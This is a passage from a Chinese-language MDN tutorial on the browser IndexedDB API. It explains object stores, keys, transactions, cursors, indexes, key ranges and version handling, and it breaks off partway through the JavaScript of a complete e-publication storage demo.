WebKit/Blink 支持当前版本的规范,同时 Chrome 23+ 、Opera 17+ 以及 IE 10+同样支持。其他和更旧的实现没有实现当前版本的规范,因此还不支持 indexedDB.open(name, version).onupgradeneeded 签名。有关如何在较旧 Webkit/Blink 上升级数据库版本的更多信息,请参见 IDBDatabase 参考文档

+ +

构建数据库

+ +

现在来构建数据库。IndexedDB 使用对象存仓库而不是表,并且一个单独的数据库可以包含任意数量的对象存储空间。每当一个值被存储进一个对象存储空间时,它会被和一个键相关联。键的提供可以有几种不同的方法,这取决于对象存储空间是使用 key path 还是 key generator

+ +

下面的表格显示了几种不同的提供键的方法。 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

键路径
+ (keyPath)

+
+

键生成器(autoIncrement)

+
描述
NoNo这种对象存储空间可以持有任意类型的值,甚至是像数字和字符串这种基本数据类型的值。每当我们想要增加一个新值的时候,必须提供一个单独的键参数。
YesNo这种对象存储空间只能持有 JavaScript 对象。这些对象必须具有一个和 key path 同名的属性。
NoYes这种对象存储空间可以持有任意类型的值。键会为我们自动生成,或者如果你想要使用一个特定键的话你可以提供一个单独的键参数。
YesYes这种对象存储空间只能持有 JavaScript 对象。通常一个键被生成的同时,生成的键的值被存储在对象中的一个和 key path 同名的属性中。然而,如果这样的一个属性已经存在的话,这个属性的值被用作键而不会生成一个新的键。
+ +

你也可以使用对象存储空间持有的对象,不是基本数据类型,在任何对象存储空间上创建索引。索引可以让你使用被存储的对象的属性的值来查找存储在对象存储空间的值,而不是用对象的键来查找。

+ +

此外,索引具有对存储的数据执行简单限制的能力。通过在创建索引时设置 unique 标记,索引可以确保不会有两个具有同样索引 key path 值的对象被储存。因此,举例来说,如果你有一个用于持有一组 people 的对象存储空间,并且你想要确保不会有两个拥有同样 email 地址的 people,你可以使用一个带有 unique 标识的索引来确保这些。

+ +

这听起来可能有点混乱,但下面这个简单的例子应该可以解释这些概念。首先,我们定义一些将在例子中用到的客户数据。

+ +
// 我们的客户数据看起来像这样。
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+ +

当然,你不会使用人们的社会保险号(ssn)作为客户表的主键,因为不是每个人都拥有社会保险号,并且你应该存储他们的生日而不是年龄。为了方便,这里我们忽略这些不合理的设计,继续往下看。

+ +

现在让我们看看如何创建一个 IndexedDB 来存储上面的数据:

+ +
const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // 错误处理
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // 建立一个对象仓库来存储我们客户的相关信息,我们选择 ssn 作为键路径(key path)
+  // 因为 ssn 可以保证是不重复的
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // 建立一个索引来通过姓名来搜索客户。名字可能会重复,所以我们不能使用 unique 索引
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // 使用邮箱建立索引,我们向确保客户的邮箱不会重复,所以我们使用 unique 索引
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // 使用事务的 oncomplete 事件确保在插入数据前对象仓库已经创建完毕
+  objectStore.transaction.oncomplete = function(event) {
+    // 将数据保存到新创建的对象仓库
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    customerData.forEach(function(customer) {
+      customerObjectStore.add(customer);
+    });
+  };
+};
+ +

+ +

正如前面提到的,onupgradeneeded 是我们唯一可以修改数据库结构的地方。在这里面,我们可以创建和删除对象存储空间以及构建和删除索引。

+ +

对象仓库仅调用 createObjectStore() 就可以创建。这个方法使用仓库的名称,和一个参数对象。即便这个参数对象是可选的,它还是非常重要的,因为它可以让你定义重要的可选属性,并完善你希望创建的对象存储空间的类型。在我们的示例中,我们创建了一个名为“customers” 的对象仓库并且定义了一个使得每个仓库中每个对象都独一无二的 keyPath 。在这个示例中的属性是 “ssn”,因为社会安全号码被确保是唯一的。被存储在该仓库中的所有对象都必须存在“ssn”。

+ +

我们也请求了一个名为 “name” 的着眼于存储的对象的 name 属性的索引。如同 createObjectStore()createIndex() 提供了一个可选地 options 对象,该对象细化了我们希望创建的索引类型。新增一个不带 name 属性的对象也会成功,但是这个对象不会出现在 "name" 索引中。

+ +

我们现在可以使用存储的用户对象的 ssn 直接从对象存储空间中把它们提取出来,或者通过使用索引来使用他们的 name 进行提取。要了解这些是如何实现的,请参见 使用索引 章节。

+ +

使用键生成器

+ +

在创建对象仓库时设置 autoIncrement 标记会为该仓库开启键生成器。默认该设置是不开启的。

+ +

使用键生成器,当你向对象仓库新增记录时键会自动生成。对象仓库生成的键往往从 1 开始,然后自动生成的新的键会在之前的键的基础上加 1。生成的键的值从来不会减小,除非数据库操作结果被回滚,比如,数据库事务被中断。因此删除一条记录,甚至清空对象仓库里的所有记录都不会影响对象仓库的键生成器。

+ +

我们可以使用键生成器创建一个对象仓库:

+ +
// 打开 indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // 设置 autoIncrement 标志为 true 来创建一个名为 names 的对象仓库
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // 因为 names 对象仓库拥有键生成器,所以它的键会自动生成。
+    // 被插入的数据可以表示如下:
+    // key : 1 => value : "Bill"
+    // key : 2 => value : "Donna"
+    customerData.forEach(function(customer) {
+        objStore.add(customer.name);
+    });
+};
+ +

更多关于键生成器的细节,请查阅  "W3C Key Generators"

+ +

增加、读取和删除数据

+ +

你需要开启一个事务才能对你的创建的数据库进行操作。事务来自于数据库对象,而且你必须指定你想让这个事务跨越哪些对象仓库。一旦你处于一个事务中,你就可以目标对象仓库发出请求。你要决定是对数据库进行更改还是只需从中读取数据。事务提供了三种模式:readonlyreadwriteversionchange

+ +

想要修改数据库模式或结构——包括新建或删除对象仓库或索引,只能在 versionchange 事务中才能实现。该事务由一个指定了 version 的 {{domxref("IDBFactory.open")}} 方法启动。(在仍未实现最新标准的 WebKit 浏览器 ,{{domxref("IDBFactory.open")}} 方法只接受一个参数,即数据库的 name,这样你必须调用 {{domxref("IDBVersionChangeRequest.setVersion")}} 来建立 versionchange 事务。

+ +

使用 readonlyreadwrite 模式都可以从已存在的对象仓库里读取记录。但只有在 readwrite 事务中才能修改对象仓库。你需要使用 {{domxref("IDBDatabase.transaction")}} 启动一个事务。该方法接受两个参数:storeNames (作用域,一个你想访问的对象仓库的数组),事务模式 mode(readonly 或 readwrite)。该方法返回一个包含 {{domxref("IDBIndex.objectStore")}} 方法的事务对象,使用 {{domxref("IDBIndex.objectStore")}} 你可以访问你的对象仓库。未指定 mode 时,默认为 readyonly 模式。

+ +
+

从 Firfox 40 起,IndexedDB 事务放松了对持久性的保证以提高性能(参见 Bug1112702)以前在 readwrite 事务中,只有当所有的数据确保被写入磁盘时才会触发 {{domxref("IDBTransaction.oncomplete")}}。在 Firefox 40+ 中,当操作系统被告知去写入数据后 complete 事件便被触发,但此时数据可能还没有真正的写入磁盘。complete 事件触发因此变得更快,但这样会有极小的机会发生以下情况:如果操作系统崩溃或在数据被写入磁盘前断电,那么整个事务都将丢失。由于这种灾难事件是罕见的,大多数使用者并不需要过分担心。如果由于某些原因你必须确保数据的持久性(例如你要保存一个无法再次计算的关键数据),你可以使用实验性(非标准的)readwriteflush 模式来创建事务以强制 complete 事件在数据写入磁盘后触发(查看 {{domxref("IDBDatabase.transaction")}})。

+
+ +

你可以通过使用合适的作用域和模式来加速数据库访问,这有两个提示:

+ + + +

向数据库中增加数据

+ +

如果你刚刚创建了一个数据库,你可能想往里面写点东西。看起来会像下面这样:

+ +
var transaction = db.transaction(["customers"], "readwrite");
+// 注意: 旧的实验性接口实现使用了常量 IDBTransaction.READ_WRITE 而不是 "readwrite"。
+// 如果你想支持这样旧版本的实现,你只要这样写就可以了:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
+ +

transaction() 方法接受两个参数(一个是可选的)并返回一个事务对象。第一个参数是事务希望跨越的对象存储空间的列表。如果你希望事务能够跨越所有的对象存储空间你可以传入一个空数组,但请不要这样做,因为标准规定传入一个空数组会导致一个InvalidAccessError(可以使用属性db.objectStoreNames)。如果你没有为第二个参数指定任何内容,你得到的是只读事务。如果你想写入数据,你需要传入 "readwrite" 标识。

+ +

现在我们已经有了一个事务,我们需要理解它的生命周期。事务和事件循环的联系非常密切。如果你创建了一个事务但是并没有使用它就返回给事件循环,那么事务将会失活。保持事务活跃的唯一方法就是在其上构建一个请求。当请求完成时你将会得到一个 DOM 事件,并且,假设请求成功了,你将会有另外一个机会在回调中来延长这个事务。如果你没有延长事务就返回到了事件循环,那么事务将会变得不活跃,依此类推。只要还有待处理的请求事务就会保持活跃。事务生命周期真的很简单但是可能需要一点时间你才能对它变得习惯。还有就是来几个例子也会有所帮助。如果你开始看到 TRANSACTION_INACTIVE_ERR 错误代码,那么你已经把某些事情搞乱了。

+ +

事务接收三种不同的 DOM 事件:errorabortcomplete。我们已经提及 error 事件是冒泡机制,所以事务会接收由它产生的所有请求所产生的错误。更微妙的一点,错误会中断它所处的事务。除非你在错误发生的第一时间就调用了 stopPropagation 并执行了其他操作来处理错误,不然整个事务将会回滚。这种机制迫使你考虑和处理错误场景,如果觉得细致的错误处理太繁琐,你可以在数据库上添加一个全局的错误处理。如果你在事务中没有处理一个已发生的错误或者调用 abort 方法,那么该事务会被回滚,并触发 abort 事件。另外,在所有请求完成后,事务的 complete 事件会被触发。如果你进行大量数据库操作,跟踪事务而不是具体的请求会使逻辑更加清晰。

+ +

现在你拥有了一个事务,你需要从中取出一个对象仓库。你只能在创建事务时指定的对象仓库中取出一个对象仓库。然后你可以添加任何你需要的数据。

+ +
// 在所有数据添加完毕后的处理
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // 不要忘记错误处理!
+};
+
+var objectStore = transaction.objectStore("customers");
+customerData.forEach(function(customer) {
+  var request = objectStore.add(customer);
+  request.onsuccess = function(event) {
+    // event.target.result === customer.ssn;
+  };
+});
+ +

调用 call() 方法产生的请求的 result 是被添加的数据的键。所以在该例中,它应该全等于被添加对象的 ssn 属性,因为对象仓库使用 ssn 属性作为键路径(key path)。注意,add() 方法的调用时,对象仓库中不能存在相同键的对象。如果你想修改一个已存在的条目,或者你不关心该数据是否已存在,你可以使用 put() 方法,就像下面 {{ anch("Updating an entry in the database") }} 模块所展示的。

+ +

从数据库中删除数据

+ +

删除数据是非常类似的:

+ +
var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // 删除成功!
+};
+ +

从数据库中获取数据

+ +

现在数据库里已经有了一些信息,你可以通过几种方法对它进行提取。首先是简单的 get()。你需要提供键来提取值,像这样:

+ +
var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // 错误处理!
+};
+request.onsuccess = function(event) {
+  // 对 request.result 做些操作!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};
+ +

对于一个“简单”的提取这里的代码有点多了。下面看我们怎么把它再缩短一点,假设你在数据库的级别上来进行的错误处理:

+ +
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};
+ +

看看这是怎么回事。因为这里只用到一个对象仓库,你可以只传该对象仓库的名字作为参数,而不必传一个列表。并且,你只需读取数据,所以不需要 readwrite 事务。不指定事务模式来调用 transaction 你会得到一个 readonly 事务。另外一个微妙的地方在于你并没有保存请求对象到变量中。因为 DOM 事件把请求作为他的目标(target),你可以使用该事件来获取 result 属性。

+ +

注意,你可以通过限制事务的作用域和模式来加速数据库访问。这里有两个提醒:

+ + + +

更新数据库中的记录

+ +

现在我们已经去除了一些数据,修改一下并把它插回数据库的操作时非常简单的。让我们来稍微更新一下上例中的数据。

+ +
var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // 错误处理
+};
+request.onsuccess = function(event) {
+  // 获取我们想要更新的数据
+  var data = event.target.result;
+
+  // 更新你想修改的数据
+  data.age = 42;
+
+  // 把更新过的对象放回数据库
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // 错误处理
+   };
+   requestUpdate.onsuccess = function(event) {
+     // 完成,数据已更新!
+   };
+};
+ +

所以这里我们创建了一个 objectStore,并通过指定 ssn 值(444-44-4444)从中请求了一条客户记录。然后我们把请求的结果保存在变量 data 中,并更新了该对象的 age 属性,之后创建了第二个请求(requestUpdate)将客户数据放回 objectStore 来覆盖之前的值。

+ +
+

注意:In this case we've had to specify a readwrite transaction because we want to write to the database, not just read from it.在这个例子中我们必须指定一个 readwrite 事务,因为我们想要写入一个数据库,而不仅仅是从中读取。

+
+ +

使用游标

+ +

使用 get() 要求你知道你想要检索哪一个键。如果你想要遍历对象存储空间中的所有值,那么你可以使用游标。看起来会像下面这样:

+ +
var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};
+ +

openCursor() 函数需要几个参数。首先,你可以使用一个 key range 对象来限制被检索的项目的范围。第二,你可以指定你希望进行迭代的方向。在上面的示例中,我们在以升序迭代所有的对象。游标成功的回调有点特别。游标对象本身是请求的 result (上面我们使用的是简写形式,所以是 event.target.result)。然后实际的 key 和 value 可以根据游标对象的 keyvalue 属性被找到。如果你想要保持继续前行,那么你必须调用游标上的 continue() 。当你已经到达数据的末尾时(或者没有匹配 openCursor() 请求的条目)你仍然会得到一个成功回调,但是 result 属性是 undefined。

+ +

使用游标的一种常见模式是提取出在一个对象存储空间中的所有对象然后把它们添加到一个数组中,像这样:

+ +
var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("以获取所有客户信息: " + customers);
+  }
+};
+ +
+

注意:可选地,你可以使用 getAll() 来处理这种情况(以及 getAllKeys())。下面的代码的效果和上例相同:

+ +

Alternatively, you can use getAll() to handle this case (and getAllKeys()) . The following code does precisely the same thing as above:

+ +
objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};
+ +

查看游标的 value 属性会带来性能消耗,因为对象是被懒生成的。当你使用 getAll() ,浏览器必须一次创建所有的对象。如果你仅仅想检索m键,那么使用游标将比使用 getAll() 高效得多。当然如果你想获取一个由对象仓库中所有对象组成的数组,请使用 getAll()

+
+ +

使用索引

+ +

使用 SSN 作为键来存储客户数据是合理的,因为 SSN 唯一地标识了一个个体(对隐私来说这是否是一个好的想法是另外一个话题,不在本文的讨论范围内)。如果你想要通过姓名来查找一个客户,那么,你将需要在数据库中迭代所有的 SSN 直到你找到正确的那个。以这种方式来查找将会非常的慢,相反你可以使用索引。

+ +
// 首先,确定你已经在 request.onupgradeneeded 中创建了索引:
+// objectStore.createIndex("name", "name");
+// 否则你将得到 DOMException。
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};
+ +

“name” 游标不是唯一的,因此 name 被设成 "Donna" 的记录可能不止一条。在这种情况下,你总是得到键值最小的那个。

+ +

如果你需要访问带有给定 name 的所有的记录你可以使用一个游标。你可以在索引上打开两个不同类型的游标。一个常规游标映射索引属性到对象存储空间中的对象。一个键索引映射索引属性到用来存储对象存储空间中的对象的键。不同之处被展示如下:

+ +
index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key 是一个 name, 就像 "Bill", 然后 cursor.value 是整个对象。
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key 是一个 name, 就像 "Bill", 然后 cursor.value 是那个 SSN。
+    // 没有办法可以得到存储对象的其余部分。
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};
+ +

指定游标的范围和方向

+ +

如果你想要限定你在游标中看到的值的范围,你可以使用一个 key range 对象然后把它作为第一个参数传给 openCursor() 或是 openKeyCursor()。你可以构造一个只允许一个单一 key 的 key range,或者一个具有下限或上限,或者一个既有上限也有下限。边界可以是“闭合的”(也就是说 key range 包含给定的值)或者是“开放的”(也就是说 key range 不包括给定的值)。这里是它如何工作的:

+ +
// 仅匹配 "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// 匹配所有超过“Bill”的,包括“Bill”
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// 匹配所有超过“Bill”的,但不包括“Bill”
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// 匹配所有不超过“Donna”的,但不包括“Donna”
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// 匹配所有在“Bill”和“Donna”之间的,但不包括“Donna”
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// 使用其中的一个键范围,把它作为 openCursor()/openKeyCursor 的第一个参数
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // 当匹配时进行一些操作
+    cursor.continue();
+  }
+};
+ +

有时候你可能想要以倒序而不是正序(所有游标的默认顺序)来遍历。切换方向是通过传递 prevopenCursor() 方法来实现的:

+ +
objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // 进行一些操作
+    cursor.continue();
+  }
+};
+ +

如果你只是想改变遍历的方向,而不想对结果进行筛选,你只需要给第一个参数传入 null。

+ +
objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

因为 “name” 索引不是唯一的,那就有可能存在具有相同 name 的多条记录。要注意的是这种情况不可能发生在对象存储空间上,因为键必须永远是唯一的。如果你想要在游标在索引迭代过程中过滤出重复的,你可以传递 nextunique (或 prevunique 如果你正在向后寻找)作为方向参数。 当 nextunique 或是 prevunique 被使用时,被返回的那个总是键最小的记录。

+ +
index.openKeyCursor(null, IDBCursor.nextunique).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

请查看”IDBCursor 常量“获取合法的方向参数。

+ +

当一个 web app 在另一个标签页中被打开时的版本变更

+ +

当你的网页应用以数据库版本变更的方式发生改变时,你需要考虑,如果用户在一个标签页中打开的应用里使用了旧版本的数据库,在另一个标签页里加载新版本的数据库时会发生什么。当你使用更高的版本号调用 open() 方法时,其他所有打开的数据库必须显式地确认请求,你才能对数据库进行修改(onblocked 事件会被触发知道它们被关闭或重新加载)。这里展示了它如何工作:

+ +
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // 如果其他的一些页签加载了该数据库,在我们继续之前需要关闭它们
+  alert("请关闭其他由该站点打开的页签!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // 其他的数据已经被关闭,一切就绪
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+};
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+};
+
+function useDatabase(db) {
+  // 当由其他页签请求了版本变更时,确认添加了一个会被通知的事件处理程序。
+  // 这里允许其他页签来更新数据库,如果不这样做,版本升级将不会发生知道用户关闭了这些页签。
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload or close this tab!");
+  };
+
+  // 处理数据库
+}
+ +

你同时也应监听 VersionError 错误来处理这种场景:已经打开的应用的初始化代码使用过时的版本再次引导打开数据的尝试。

+ +

安全

+ +

IndexedDB 使用同源原则,这意味着它把存储空间绑定到了创建它的站点的源(典型情况下,就是站点的域或是子域),所以它不能被任何其他源访问。

+ +

第三方窗口内容(比如 {{htmlelement("iframe")}} 内容)可以访问它所嵌入的源的 IndexedDB 仓库,除非浏览器被设置成从不接受第三方 cookies(参见 {{bug("1147821")}})。

+ +

浏览器关闭警告

+ +

当浏览器关闭(由于用户选择关闭或退出选项),包含数据库的磁盘被意外移除,或者数据库存储的权限丢失,将发生以下问题:

+ +
    +
  1. 受影响的数据库(在浏览器关闭的场景下,所有打开的数据库)的所有事务会以 AbortError 错误中断。该影响和在每个事务中调用 {{domxref("IDBTransaction.abort()")}} 相同。
  2. +
  3. 所有的事务完成后,数据库连接就会关闭。
  4. +
  5. 最终,表示数据库连接的 {{domxref("IDBDatabase")}} 对象收到一个 {{event("close")}} 事件。你可以使用 {{domxref("IDBDatabase.onclose")}} 事件句柄来监听这些事件,这样你就可以知道什么时候数据库被意外关闭了。
  6. +
+ +

上述的行为只在 Firefox 50、Google Chrome 31(近似的) 发行版本中支持。

+ +

在这些版本之前的浏览器,事务会静默中断,并且 {{event("close")}} 事件不会触发,这样就无法察觉数据库的异常关闭。

+ +

由于用户可以在任何时候关闭浏览器,因此你不能依赖于任何特定事务的完成。并且在老版本的浏览器,你甚至都无法感知它们是否顺利完成。针对这种行为这里有一些启示:

+ +

Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete, and on older browsers, you don't even get told when they don't complete. There are several implications of this behavior.

+ +

首先,你应该始终使数据库在事务结束时处于一个稳定的状态。比如,假设你使用了一个数据库来保存一个允许用户编辑的项目列表。你通过清空对象仓库然后写入新列表来在用户编辑后保存它,这存在一个危险,那就是浏览器可能在清空数据后还没有写入数据时就关闭了,使得对象仓库变得空空如也。为了避免这种情况,你应该在同一个事务中执行清空数据和写入数据的操作。

+ +

其次,你不应该把数据库事务绑定到卸载事件上。如果卸载事件被浏览器关闭所触发,卸载事件处理函数中的任何事务都不会完成。跨浏览器会话维护信息的直观的实现方法时在浏览器(或特定页)打开时从数据库读取它,在用户和浏览器交互式更新它,然后在浏览器(或页面)关闭时保存至数据库。然而,这并不会生效。这样一来,数据库事务会在卸载事件句柄中被创建,但由于它们时异步的,所以它们在它们执行之前就会被中断。

+ +

实际上,这里没有办法可以确保 IndexedDB 事务可以执行完毕,即使是浏览器正常关闭的情况。参见 {{ bug(870645)}}。作为一个正常关闭通知的变通方案,你可以跟踪你的事务并添加一个 beforeunload 事件来提醒用户,如果此时有事务在数据库卸载时还没有完成。

+ +

至少通过添加中断提醒和 {{domxref("IDBDatabse.onclose")}},你可以得知它何时关闭了。

+ +

地区化的排序

+ +

Mozilla 已经在 Firefox 43+ 中实现了对 IndexedDB 数据进行地区化排序的功能。默认情况下,IndexedDB 根本不会处理国际化的字符串排序,所有的数据按照英文字母序排列。举个例子,b、á、z、a 会被如下排序:

+ + + +

这显然不是用户想要的数据排序方式,例如 Aaron 和 Áaron 在通讯录中理应相邻地排列。如果要获取国际化的排序,需要将整个数据内容调入内存,然后由客户端 JavaScript 实现排序,显然这样做不是很高效。

+ +

这是一个新的功能,它允许开发者在使用 {{domxref("IDBObjectStore.createIndex()")}}(查看它的参数)创建索引时指定一个地区。在这种情况下,一个游标会被用来遍历数据,如果你想指定地区性的排序,你可以使用专门的 {{domxref("IDBLocaleAwareKeyRange")}}。

+ +

{{domxref("IDBIndex")}}  还添加了新的属性如果它已经被指定了一个地区,它们是 locale(返回被指定的地区或 null)和 isAutoLocale(如果创建索引时使用了自动的地区,即使用了平台默认的地区,则返回 true;否则返回 false)。

+ +
+

注意: 现在该特性由一个标志隐藏——在 about:config 中开启 dom.indexedDB.experimental 来启用和实验该特性。

+
+ +

一个完整的 IndexedDB 示例

+ +

HTML 内容

+ +
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+    <div class="note">
+      <p>
+        Works and tested with:
+      </p>
+      <div id="compat">
+      </div>
+    </div>
+
+    <div id="msg">
+    </div>
+
+    <form id="register-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-title" class="required">
+                Title:
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-title" name="pub-title" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-biblioid" class="required">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-year">
+                Year:
+              </label>
+            </td>
+            <td>
+              <input type="number" id="pub-year" name="pub-year" />
+            </td>
+          </tr>
+        </tbody>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-file">
+                File image:
+              </label>
+            </td>
+            <td>
+              <input type="file" id="pub-file"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-file-url">
+                Online-file image URL:<br/>
+                <span class="note">(same origin URL)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-file-url" name="pub-file-url"/>
+            </td>
+          </tr>
+        </tbody>
+      </table>
+
+      <div class="button-pane">
+        <input type="button" id="add-button" value="Add Publication" />
+        <input type="reset" id="register-form-reset"/>
+      </div>
+    </form>
+
+    <form id="delete-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-biblioid-to-delete">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="key-to-delete">
+                Key:<br/>
+                <span class="note">(for example 1, 2, 3, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="key-to-delete"
+                     name="key-to-delete" />
+            </td>
+          </tr>
+        </tbody>
+      </table>
+      <div class="button-pane">
+        <input type="button" id="delete-button" value="Delete Publication" />
+        <input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" />
+      </div>
+    </form>
+
+    <form id="search-form">
+      <div class="button-pane">
+        <input type="button" id="search-list-button"
+               value="List database content" />
+      </div>
+    </form>
+
+    <div>
+      <div id="pub-msg">
+      </div>
+      <div id="pub-viewer">
+      </div>
+      <ul id="pub-list">
+      </ul>
+    </div>
+ +

CSS 内容

+ +
body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+ +

JavaScript 内容

+ +
(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', ">= 16.0"],
+    ['Google Chrome',
+     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('<ul id="compat-list"></ul>');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
